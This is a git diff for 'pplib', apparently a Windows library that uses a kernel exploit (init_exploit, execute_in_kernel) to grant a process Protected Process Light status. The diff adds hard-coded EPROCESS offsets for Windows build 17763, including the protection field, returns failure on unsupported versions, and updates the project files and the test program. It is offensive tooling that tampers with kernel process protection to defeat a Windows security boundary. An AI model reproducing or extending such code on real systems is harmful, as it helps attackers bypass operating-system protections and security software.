diff --git a/pplib/kerneloffsets.h b/pplib/kerneloffsets.h index 73b5e79..02d6bec 100644 --- a/pplib/kerneloffsets.h +++ b/pplib/kerneloffsets.h @@ -31,7 +31,7 @@ public: static uint64_t objecttable; static uint64_t vadroot; - static void init() + static bool init() { windows_version win_ver = get_windows_version(); @@ -40,16 +40,18 @@ public: { case WINDOWS7: init_win7(); - break; + return true; case WINDOWS8: init_win8(); - break; + return true; case WINDOWS81: init_win81(); - break; + return true; case WINDOWS10: init_win10(); - break; + return true; + default: + return false; } } @@ -138,5 +140,12 @@ private: objecttable = 0x418; vadroot = 0x628; } + else if (osVersion.dwBuildNumber == 17763) + { + protection = 0x6CA; + flags2 = 0x820; + objecttable = 0x418; + vadroot = 0x628; + } } }; \ No newline at end of file diff --git a/pplib/pplib.cpp b/pplib/pplib.cpp index 88ddbf1..7040c51 100644 --- a/pplib/pplib.cpp +++ b/pplib/pplib.cpp @@ -6,9 +6,11 @@ using namespace native::structs; bool elevate_ppl() { + if (!kernel_offsets::init()) return false; + if (!init_exploit()) return false; - kernel_offsets::init(); + execute_in_kernel([](MmGetSystemRoutineAddress_t _MmGetSystemRoutineAddress) { diff --git a/pplib/pplib.vcxproj b/pplib/pplib.vcxproj index b19056a..050178c 100644 --- a/pplib/pplib.vcxproj +++ b/pplib/pplib.vcxproj @@ -22,7 +22,7 @@ 15.0 {C032FA1E-9809-4947-BEC9-EC2B3F182A5D} pplib - 10.0.17134.0 + 10.0.17763.0 @@ -43,6 +43,7 @@ true v141 MultiByte + false StaticLibrary @@ -50,6 +51,7 @@ v141 true MultiByte + false diff --git a/testpplib/main.cpp b/testpplib/main.cpp index c6d0a8c..dd270b4 100644 --- a/testpplib/main.cpp +++ b/testpplib/main.cpp @@ -3,7 +3,9 @@ int main() { - elevate_ppl(); - MessageBoxA(NULL, "Use ProcessHacker to check PPL status", "Paused", NULL); + if (elevate_ppl()) + MessageBoxA(NULL, "Use ProcessHacker to check PPL status", "Paused", NULL); + else + MessageBoxA(NULL, "Something went wrong - probably unsuported windows version", "Error", MB_ICONERROR); return 0; } diff --git a/testpplib/testpplib.vcxproj b/testpplib/testpplib.vcxproj index 7612b6f..e7e5ee8 100644 --- a/testpplib/testpplib.vcxproj +++ b/testpplib/testpplib.vcxproj @@ -22,7 +22,7 @@ 15.0 {D194FE2D-C0CC-4560-A41D-DD03CF35F42F} testpplib - 10.0.17134.0 + 10.0.17763.0 @@ -43,6 +43,7 @@ true v141 MultiByte + false Application @@ -50,6 +51,7 @@ v141 true MultiByte + false